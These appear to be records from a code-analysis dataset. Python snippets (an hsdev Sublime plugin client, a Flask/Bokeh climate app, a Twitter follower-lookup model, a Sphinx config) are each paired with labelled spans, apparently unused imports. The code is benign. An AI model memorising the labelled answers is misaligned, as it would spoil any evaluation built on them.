[]\n if project:\n fs.append({'project': project})\n if file:\n fs.append({'file': file})\n if module:\n fs.append({'module': module})\n if deps:\n fs.append({'deps': deps})\n if sandbox:\n fs.append({'cabal':{'sandbox': sandbox}})\n if cabal:\n fs.append({'cabal':'cabal'})\n if db:\n fs.append({'db': encode_package_db(db)})\n if package:\n fs.append({'package': package})\n if source:\n fs.append('sourced')\n if standalone:\n fs.append('standalone')\n\n return cmd('symbol', {'query': q, 'filters': fs, 'locals': locals}, parse_decls)", "metadata": "root.HsDev.symbol", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 857 }, { "content": " @command\n def module(self, input = \"\", search_type = 'prefix', project = None, file = None, module = None, deps = None, sandbox = None, cabal = False, db = None, package = None, source = False, standalone = False):\n q = {'input': input, 'type': search_type}\n\n fs = []\n if project:\n fs.append({'project': project})\n if file:\n fs.append({'file': file})\n if module:\n fs.append({'module': module})\n if deps:\n fs.append({'deps': deps})\n if sandbox:\n fs.append({'cabal':{'sandbox': sandbox}})\n if cabal:\n fs.append({'cabal':'cabal'})\n if db:\n fs.append({'db': encode_package_db(db)})\n if package:\n fs.append({'package': package})\n if source:\n fs.append('sourced')\n if standalone:\n fs.append('standalone')\n\n return cmd('module', {'query': q, 'filters': fs}, parse_modules)", "metadata": "root.HsDev.module", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 886 }, { "content": " @command\n def resolve(self, file, exports = False):\n return cmd('resolve', {'file': file, 'exports': exports}, parse_module)", "metadata": "root.HsDev.resolve", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 914 }, { "content": " @command\n def project(self, project = None, path = None):\n return cmd('project', {'name': project} if project else {'path': path})", "metadata": "root.HsDev.project", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 918 }, { "content": " @command\n def sandbox(self, path):\n return cmd('sandbox', {'path': path})", "metadata": "root.HsDev.sandbox", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 922 }, { "content": " @list_command\n def lookup(self, name, file):\n return cmd('lookup', {'name': name, 'file': file}, parse_decls)", "metadata": "root.HsDev.lookup", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 926 }, { "content": " @list_command\n def whois(self, name, file):\n return cmd('whois', {'name': name, 'file': file}, parse_declarations)", "metadata": "root.HsDev.whois", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 930 }, { "content": " @list_command\n def scope_modules(self, file, input = '', search_type = 'prefix'):\n return cmd('scope modules', {'query': {'input': input, 'type': search_type}, 'file': file}, parse_modules_brief)", "metadata": "root.HsDev.scope_modules", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 934 }, { "content": " @list_command\n def scope(self, file, input = '', search_type = 'prefix', global_scope = False):\n return cmd('scope', {'query': {'input': input, 'type': search_type}, 'global': global_scope, 'file': file}, parse_declarations)", "metadata": "root.HsDev.scope", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 938 }, { "content": " @list_command\n def complete(self, input, file, wide = False):\n return cmd('complete', {'prefix': input, 'wide': wide, 'file': file}, parse_declarations)", "metadata": "root.HsDev.complete", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 942 }, { "content": " @list_command\n def hayoo(self, query, page = None, pages = None):\n return cmd('hayoo', {'query': query, 'page': page or 0, 'pages': pages or 1}, parse_decls)", "metadata": "root.HsDev.hayoo", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 946 }, { "content": " @list_command\n def cabal_list(self, packages):\n cmd('cabal list', {'packages': packages}, lambda r: [parse_cabal_package(s) for s in r] if r else None)", "metadata": "root.HsDev.cabal_list", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 950 }, { "content": " @list_command\n def lint(self, files = [], contents = {}, hlint = []):\n return cmd('lint', {\n 'files': files,\n 'contents': [{'file': f, 'contents': cts} for f, cts in contents.items()],\n 'hlint-opts': hlint})", "metadata": "root.HsDev.lint", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 954 }, { "content": " @list_command\n def check(self, files = [], contents = {}, ghc = []):\n return cmd('check', {\n 'files': files,\n 'contents': [{'file': f, 'contents': cts} for f, cts in contents.items()],\n 'ghc-opts': ghc})", "metadata": "root.HsDev.check", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 961 }, { "content": " @list_command\n def check_lint(self, files = [], contents = {}, ghc = [], hlint = []):\n return cmd('check-lint', {\n 'files': files,\n 'contents': [{'file': f, 'contents': cts} for f, cts in contents.items()],\n 'ghc-opts': ghc,\n 'hlint-opts': hlint})", "metadata": "root.HsDev.check_lint", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 968 }, { "content": " @list_command\n def types(self, files = [], contents = {}, ghc = []):\n return cmd('types', {\n 'files': files,\n 'contents': [{'file': f, 'contents': cts} for f, cts in contents.items()],\n 'ghc-opts': ghc})", "metadata": "root.HsDev.types", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 976 }, { "content": " @command\n def ghcmod_lang(self):\n return cmd('ghc-mod lang')", "metadata": "root.HsDev.ghcmod_lang", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 983 }, { "content": " @command\n def ghcmod_flags(self):\n return cmd('ghc-mod flags')", "metadata": "root.HsDev.ghcmod_flags", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 987 }, { "content": " @list_command\n def ghcmod_type(self, file, line, column = 1, ghc = []):\n return cmd('ghc-mod type', {\n 'position': {'line': int(line),'column': int(column)},\n 'file': file,\n 'ghc-opts': ghc })", "metadata": "root.HsDev.ghcmod_type", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 991 }, { "content": " @list_command\n def ghcmod_check(self, files, ghc = []):\n return cmd('ghc-mod check', {'files': files, 'ghc-opts': ghc})", "metadata": "root.HsDev.ghcmod_check", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 998 }, { "content": " @list_command\n def ghcmod_lint(self, files, hlint = []):\n return cmd('ghc-mod lint', {'files': files, 'hlint-opts': hlint})", "metadata": "root.HsDev.ghcmod_lint", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 1002 }, { "content": " @list_command\n def ghcmod_check_lint(self, files, ghc = [], hlint = []):\n return cmd('ghc-mod check-lint', {'files': files, 'ghc-opts': ghc, 'hlint-opts': hlint})", "metadata": "root.HsDev.ghcmod_check_lint", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 1006 }, { "content": " @list_command\n def autofix_show(self, messages):\n return cmd('autofix show', {'messages': messages}, parse_corrections)", "metadata": "root.HsDev.autofix_show", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 1010 }, { "content": " @list_command\n def autofix_fix(self, messages, rest = [], pure = False):\n return cmd('autofix fix', {'messages': messages, 'rest': rest, 'pure': pure}, parse_corrections)", "metadata": "root.HsDev.autofix_fix", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 1014 }, { "content": " @list_command\n def ghc_eval(self, exprs):\n return cmd('ghc eval', {'exprs': exprs})", "metadata": "root.HsDev.ghc_eval", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 1018 }, { "content": " @command\n def exit(self):\n return cmd('exit', {})", "metadata": "root.HsDev.exit", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 1022 }, { "content": "def wait_result(fn, *args, **kwargs):\n wait_receive = threading.Event()\n x = {'result': None}\n\n on_resp = kwargs.get('on_response')\n on_err = kwargs.get('on_error')\n\n def wait_response(r):\n x['result'] = r\n if on_resp:\n on_resp(r)\n wait_receive.set()\n def wait_error(e, ds):\n log('hsdev call fails with: {0}, {1}'.format(e, format_error_details(ds)))\n if on_err:\n on_err(e, ds)\n wait_receive.set()\n\n tm = kwargs.pop('timeout', 0.1)\n\n kwargs['on_response'] = wait_response\n kwargs['on_error'] = wait_error\n\n fn(*args, **kwargs)\n\n wait_receive.wait(tm)\n return x['result']", "metadata": "root.wait_result", "header": "['module', '___EOS___']", "index": 1026 }, { "content": "class HsDevProcess(threading.Thread):\n\n\n\n\n", "metadata": "root.HsDevProcess", "header": "['module', '___EOS___']", "index": 1054 }, { "content": " def __init__(self, port = 4567, cache = None, log_file = None, log_config = None):\n super(HsDevProcess, self).__init__()\n self.process = None\n self.on_start = None\n self.on_exit = None\n self.stop_event = threading.Event()\n self.create_event = threading.Event()\n self.port = port\n self.cache = cache\n self.log_file = log_file\n self.log_config = log_config", "metadata": "root.HsDevProcess.__init__", "header": "['class', 'HsDevProcess', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 1055 }, { "content": " def run(self):\n while True:\n self.create_event.wait()\n self.create_event.clear()\n while not self.stop_event.is_set():\n self.process = HsDev.run_server(port = self.port, cache = self.cache, log_file = self.log_file, log_config = self.log_config)\n if not self.process:\n log('failed to create hsdev process', log_error)\n self.stop_event.set()\n else:\n call_callback(self.on_start, name = 'HsDevProcess.on_start')\n self.process.wait()\n call_callback(self.on_exit, name = 'HsDevProcess.on_exit')\n self.stop_event.clear()", "metadata": "root.HsDevProcess.run", "header": "['class', 'HsDevProcess', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 1067 }, { "content": " def active(self):\n return self.process.poll() is None", "metadata": "root.HsDevProcess.active", "header": "['class', 'HsDevProcess', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 1082 }, { "content": " def inactive(self):\n return self.process.poll() is not None", "metadata": "root.HsDevProcess.inactive", "header": "['class', 'HsDevProcess', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 1085 }, { "content": " def create(self):\n self.create_event.set()", "metadata": "root.HsDevProcess.create", "header": "['class', 'HsDevProcess', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 1088 }, { "content": " def stop(self):\n self.stop_event.set()", "metadata": "root.HsDevProcess.stop", "header": "['class', 'HsDevProcess', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 1091 } ]

[ { "span": "import os", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 9 }, { "span": "import os.path", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 14 }, { "span": "import sys", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 10 }, { "span": "import sublime_plugin", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 21 }, { "span": "import subprocess", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 17 } ]

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[ { "content": "# -*- coding: utf-8 -*-\nimport math\nfrom collections import OrderedDict\n\nimport flask\n\nimport pandas as pd\nimport netCDF4\nimport numpy as np\n\nfrom bokeh.embed import components\nfrom bokeh.resources import INLINE\nfrom bokeh.templates import RESOURCES\nfrom bokeh.util.string import encode_utf8\n\nfrom bokeh.models import DatetimeTickFormatter, ColumnDataSource, HoverTool, Plot, Range1d\nfrom bokeh.palettes import RdBu11\nfrom bokeh.models.glyphs import Text, Rect\nfrom bokeh.plotting import figure, show, output_notebook, hplot, vplot\n\nimport utils.world_countries as wc\nfrom utils.colormap import RGBAColorMapper\n\nfrom viz2 import climate_map, timeseries, legend, title, get_slice \n\napp = flask.Flask(__name__)\n\ncolormap = RGBAColorMapper(-6, 6, RdBu11)\n\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@app.route(\"/\")\ndef index():\n # Create layout\n c_map = climate_map()\n ts = timeseries()\n l = legend()\n t = title()\n\n map_legend = hplot(c_map, l)\n layout = vplot(t, map_legend, ts)\n\n plot_resources = RESOURCES.render(\n js_raw=INLINE.js_raw,\n css_raw=INLINE.css_raw,\n js_files=INLINE.js_files,\n css_files=INLINE.css_files,\n )\n script, div = components(layout, INLINE)\n html = flask.render_template(\n 'embed.html',\n plot_script=script,\n plot_div=div,\n plot_resources=plot_resources,\n )\n return encode_utf8(html)", "metadata": "root.index", "header": "['module', '___EOS___']", "index": 30 } ]

[ { "span": "import math", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 11 }, { "span": "from collections import OrderedDict", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 35 }, { "span": "import pandas as pd", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 19 }, { "span": "import netCDF4", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 14 }, { "span": "import numpy as np", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 18 }, { "span": "from bokeh.models import DatetimeTickFormatter, ColumnDataSource, HoverTool, Plot, Range1d", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 90 }, { "span": "from bokeh.models.glyphs import Text, Rect", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 42 }, { "span": "from bokeh.plotting import figure, show, output_notebook, hplot, vplot", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 70 }, { "span": "import utils.world_countries as wc", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 34 }, { "span": "from viz2 import climate_map, timeseries, legend, title, get_slice ", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 66 } ]

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[ { "content": "from totalimpactwebapp import json_sqlalchemy\nfrom util import commit\nfrom util import cached_property\nfrom util import dict_from_dir\nfrom totalimpactwebapp import db\nfrom birdy.twitter import AppClient, TwitterApiError, TwitterRateLimitError, TwitterClientError\n\nfrom collections import defaultdict\nimport os\nimport re\nimport datetime\nimport logging\nimport dateutil.parser\nlogger = logging.getLogger('ti.tweeter')\n\n# from https://github.com/inueni/birdy/issues/7\n# to overrride JSONObject\n\n\n\n\n\n\n# example payload from twitter: https://dev.twitter.com/rest/reference/get/users/lookup\n\n\n\n# example\n# [\n# {\n# \"name\": \"Twitter API\",\n# \"profile_sidebar_fill_color\": \"DDEEF6\",\n# \"profile_background_tile\": false,\n# \"profile_sidebar_border_color\": \"C0DEED\",\n# \"profile_image_url\": \"http://a0.twimg.com/profile_images/2284174872/7df3h38zabcvjylnyfe3_normal.png\",\n# \"location\": \"San Francisco, CA\",\n# \"created_at\": \"Wed May 23 06:01:13 +0000 2007\",\n# \"follow_request_sent\": false,\n# \"id_str\": \"6253282\",\n# \"profile_link_color\": \"0084B4\",\n# \"is_translator\": false,\n# \"default_profile\": true,\n# \"favourites_count\": 24,\n# \"contributors_enabled\": true,\n# \"url\": \"http://dev.twitter.com\",\n# \"profile_image_url_https\": \"https://si0.twimg.com/profile_images/2284174872/7df3h38zabcvjylnyfe3_normal.png\",\n# \"utc_offset\": -28800,\n# \"id\": 6253282,\n# \"profile_use_background_image\": true,\n# \"listed_count\": 10713,\n# \"profile_text_color\": \"333333\",\n# \"lang\": \"en\",\n# \"followers_count\": 1198334,\n# \"protected\": false,\n# \"profile_background_image_url_https\": \"https://si0.twimg.com/images/themes/theme1/bg.png\",\n# \"geo_enabled\": true,\n# \"description\": \"The Real Twitter API. I tweet about API changes, service issues and happily answer questions about Twitter and our API. Don't get an answer? It's on my website.\",\n# \"profile_background_color\": \"C0DEED\",\n# \"verified\": true,\n# \"notifications\": false,\n# \"time_zone\": \"Pacific Time (US & Canada)\",\n# \"statuses_count\": 3331,\n# \"status\": {\n# \"coordinates\": null,\n# \"created_at\": \"Fri Aug 24 16:15:49 +0000 2012\",\n# \"favorited\": false,\n# \"truncated\": false,\n# \"id_str\": \"239033279343382529\",\n# \"in_reply_to_user_id_str\": \"134727529\",\n# \"text\": \"@gregclermont no, there is not. ^TS\",\n# \"contributors\": null,\n# \"retweet_count\": 0,\n# \"id\": 239033279343382529,\n# \"in_reply_to_status_id_str\": \"238933943146131456\",\n# \"geo\": null,\n# \"retweeted\": false,\n# \"in_reply_to_user_id\": 134727529,\n# \"place\": null,\n# \"source\": \"<a href=\"//sites.google.com/site/yorufukurou/\\\"\" rel=\"\\\"nofollow\\\"\">YoruFukurou</a>\",\n# \"in_reply_to_screen_name\": \"gregclermont\",\n# \"in_reply_to_status_id\": 238933943146131456\n# },\n# \"profile_background_image_url\": \"http://a0.twimg.com/images/themes/theme1/bg.png\",\n# \"default_profile_image\": false,\n# \"friends_count\": 31,\n# \"screen_name\": \"twitterapi\",\n# \"following\": true,\n# \"show_all_inline_media\": false\n# },\n# {\n# \"name\": \"Twitter\",\n# \"profile_sidebar_fill_color\": \"F6F6F6\",\n# \"profile_background_tile\": true,\n# \"profile_sidebar_border_color\": \"EEEEEE\",\n# \"profile_image_url\": \"http://a0.twimg.com/profile_images/2284174758/v65oai7fxn47qv9nectx_normal.png\",\n# \"location\": \"San Francisco, CA\",\n# \"created_at\": \"Tue Feb 20 14:35:54 +0000 2007\",\n# \"follow_request_sent\": false,\n# \"id_str\": \"783214\",\n# \"profile_link_color\": \"038543\",\n# \"is_translator\": false,\n# \"default_profile\": false,\n# \"favourites_count\": 17,\n# \"contributors_enabled\": true,\n# \"url\": \"http://blog.twitter.com/\",\n# \"profile_image_url_https\": \"https://si0.twimg.com/profile_images/2284174758/v65oai7fxn47qv9nectx_normal.png\",\n# \"utc_offset\": -28800,\n# \"id\": 783214,\n# \"profile_banner_url\": \"https://si0.twimg.com/brand_banners/twitter/1323368512/live\",\n# \"profile_use_background_image\": true,\n# \"listed_count\": 72534,\n# \"profile_text_color\": \"333333\",\n# \"lang\": \"en\",\n# \"followers_count\": 12788713,\n# \"protected\": false,\n# \"profile_background_image_url_https\": \"https://si0.twimg.com/profile_background_images/378245879/Twitter_1544x2000.png\",\n# \"geo_enabled\": true,\n# \"description\": \"Always wondering what's happening. \",\n# \"profile_background_color\": \"ACDED6\",\n# \"verified\": true,\n# \"notifications\": false,\n# \"time_zone\": \"Pacific Time (US & Canada)\",\n# \"statuses_count\": 1379,\n# \"profile_background_image_url\": \"http://a0.twimg.com/profile_background_images/378245879/Twitter_1544x2000.png\",\n# \"default_profile_image\": false,\n# \"friends_count\": 1195,\n# \"screen_name\": \"twitter\",\n# \"following\": true,\n# \"show_all_inline_media\": true\n# }\n# ] ", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class AppDictClient(AppClient):", "metadata": "root.AppDictClient", "header": "['module', '___EOS___']", "index": 17 }, { "content": " @staticmethod\n def get_json_object_hook(data):\n return data", "metadata": "root.AppDictClient.get_json_object_hook", "header": "['class', 'AppDictClient', '(', 'AppClient', ')', ':', '___EOS___']", "index": 18 }, { "content": "def handle_all_user_lookups(user_dicts_from_twitter, tweeters):\n dicts_by_screen_name = defaultdict(str)\n for user_dict in user_dicts_from_twitter:\n dicts_by_screen_name[user_dict[\"screen_name\"].lower()] = user_dict\n\n i = 0\n for tweeter in tweeters:\n i += 1\n if tweeter.screen_name.lower() in dicts_by_screen_name.keys():\n user_dict = dicts_by_screen_name[tweeter.screen_name.lower()]\n tweeter.set_attributes_from_twitter_data(user_dict)\n # print i, \"updated tweeter\", tweeter, tweeter.last_collected_date\n else:\n tweeter.set_as_deleted()\n db.session.merge(tweeter)\n\n return True", "metadata": "root.handle_all_user_lookups", "header": "['module', '___EOS___']", "index": 23 }, { "content": "def get_and_save_tweeter_followers(tweeters):\n\n client = AppDictClient(\n os.getenv(\"TWITTER_CONSUMER_KEY\"),\n os.getenv(\"TWITTER_CONSUMER_SECRET\"),\n access_token=os.getenv(\"TWITTER_ACCESS_TOKEN\")\n )\n\n logger.info(u\"Length of tweeters {num}\".format(\n num=len(tweeters)))\n\n # print \"length of tweeters\", len(tweeters)\n\n screen_names_string = \",\".join([tweeter.screen_name for tweeter in tweeters])\n print \", \".join([tweeter.screen_name for tweeter in tweeters])\n\n try:\n response = client.api.users.lookup.post(screen_name=screen_names_string)\n handle_all_user_lookups(response.data, tweeters)\n except TwitterApiError, e:\n logger.exception(\"TwitterApiError error, skipping\")\n except TwitterClientError, e:\n logger.exception(\"TwitterClientError error, skipping\")\n except TwitterRateLimitError, e:\n logger.exception(\"TwitterRateLimitError error, skipping\")\n # not totally sure what else I should do here. retry somehow, or catch on cleanup run?\n\n commit(db)\n\n return", "metadata": "root.get_and_save_tweeter_followers", "header": "['module', '___EOS___']", "index": 42 }, { "content": "class Tweeter(db.Model):\n screen_name = db.Column(db.Text, primary_key=True)\n twitter_id = db.Column(db.Integer) # alter table tweeter add twitter_id int4\n followers = db.Column(db.Integer)\n name = db.Column(db.Text)\n description = db.Column(db.Text)\n location = db.Column(db.Text) # alter table tweeter add location text\n image_url = db.Column(db.Text)\n profile_url = db.Column(db.Text) # alter table tweeter add profile_url text\n num_statuses = db.Column(db.Integer) # alter table tweeter add num_statuses int4\n num_follows = db.Column(db.Integer) # alter table tweeter add num_follows int4\n last_collected_date = db.Column(db.DateTime()) #alter table tweeter add last_collected_date timestamp\n is_deleted = db.Column(db.Boolean) # alter table tweeter add is_deleted bool\n\n\n\n\n\n\n", "metadata": "root.Tweeter", "header": "['module', '___EOS___']", "index": 76 }, { "content": " def __init__(self, **kwargs):\n if not \"last_collected_date\" in kwargs:\n self.last_collected_date = datetime.datetime.utcnow()\n super(Tweeter, self).__init__(**kwargs)", "metadata": "root.Tweeter.__init__", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 90 }, { "content": " @cached_property\n def display_image_url(self):\n if not self.image_url:\n return \"\"\n\n ret = self.image_url.replace(\"http://\", \"https://\")\n ret = ret.replace(\"_normal\", \"_reasonably_small\")\n return ret", "metadata": "root.Tweeter.display_image_url", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 95 }, { "content": " def set_attributes_from_altmetric_post(self, post):\n self.followers = post[\"author\"].get(\"followers\", 0)\n self.name = post[\"author\"].get(\"name\", self.screen_name)\n self.description = post[\"author\"].get(\"description\", \"\")\n self.image_url = post[\"author\"].get(\"image\", None)\n # don't update last_collected date, because altmetric data is from old tweet\n return self", "metadata": "root.Tweeter.set_attributes_from_altmetric_post", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 104 }, { "content": " def set_attributes_from_twitter_data(self, data):\n self.followers = data.get(\"followers_count\", 0)\n self.name = data.get(\"name\", self.screen_name)\n self.description = data.get(\"description\", \"\")\n self.image_url = data.get(\"profile_image_url\", None)\n self.profile_url = data.get(\"url\", None)\n self.location = data.get(\"location\", None)\n self.num_statuses = data.get(\"statuses_count\", None)\n self.num_follows = data.get(\"friends_count\", None)\n self.twitter_id = data.get(\"id\", None)\n self.last_collected_date = datetime.datetime.utcnow()\n return self", "metadata": "root.Tweeter.set_attributes_from_twitter_data", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 112 }, { "content": " def set_as_deleted(self):\n self.is_deleted = True\n self.last_collected_date = datetime.datetime.utcnow()\n return self", "metadata": "root.Tweeter.set_as_deleted", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 125 }, { "content": " def __repr__(self):\n return u'<Tweeter {screen_name} {followers}>'.format(\n screen_name=self.screen_name, \n followers=self.followers)", "metadata": "root.Tweeter.__repr__", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 130 }, { "content": " def to_dict(self):\n attributes_to_ignore = [\n \"tweet\"\n ]\n ret = dict_from_dir(self, attributes_to_ignore)\n return ret", "metadata": "root.Tweeter.to_dict", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 135 } ]

[ { "span": "from totalimpactwebapp import json_sqlalchemy", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 45 }, { "span": "import re", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 9 }, { "span": "import dateutil.parser", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 22 } ]

[]

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[ { "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# Moto documentation build configuration file, created by\n# sphinx-quickstart on Sun Jul 26 22:16:23 2015.\n#\n# This file is execfile()d with the current directory set to its\n# containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\nimport sys\nimport os\nimport shlex\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#sys.path.insert(0, os.path.abspath('.'))\n\n# -- General configuration ------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = []\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n# source_suffix = ['.rst', '.md']\nsource_suffix = '.rst'\n\n# The encoding of source files.\n#source_encoding = 'utf-8-sig'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = 'Moto'\ncopyright = '2015, Steve Pulec'\nauthor = 'Steve Pulec'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = '0.4.10'\n# The full version, including alpha/beta/rc tags.\nrelease = '0.4.10'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = None\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n#today = ''\n# Else, today_fmt is used as the format for a strftime call.\n#today_fmt = '%B %d, %Y'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\nexclude_patterns = ['_build']\n\n# The reST default role (used for this markup: `text`) to use for all\n# documents.\n#default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n#add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n#add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n#show_authors = False\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# A list of ignored prefixes for module index sorting.\n#modindex_common_prefix = []\n\n# If true, keep warnings as \"system message\" paragraphs in the built documents.\n#keep_warnings = False\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = False\n\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\nhtml_theme = 'alabaster'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#html_theme_options = {}\n\n# Add any paths that contain custom themes here, relative to this directory.\n#html_theme_path = []\n\n# The name for this set of Sphinx documents. If None, it defaults to\n# \"<project> v<release> documentation\".\n#html_title = None\n\n# A shorter title for the navigation bar. Default is the same as html_title.\n#html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n#html_logo = None\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Add any extra paths that contain custom files (such as robots.txt or\n# .htaccess) here, relative to this directory. These files are copied\n# directly to the root of the documentation.\n#html_extra_path = []\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\n#html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\n#html_domain_indices = True\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it. 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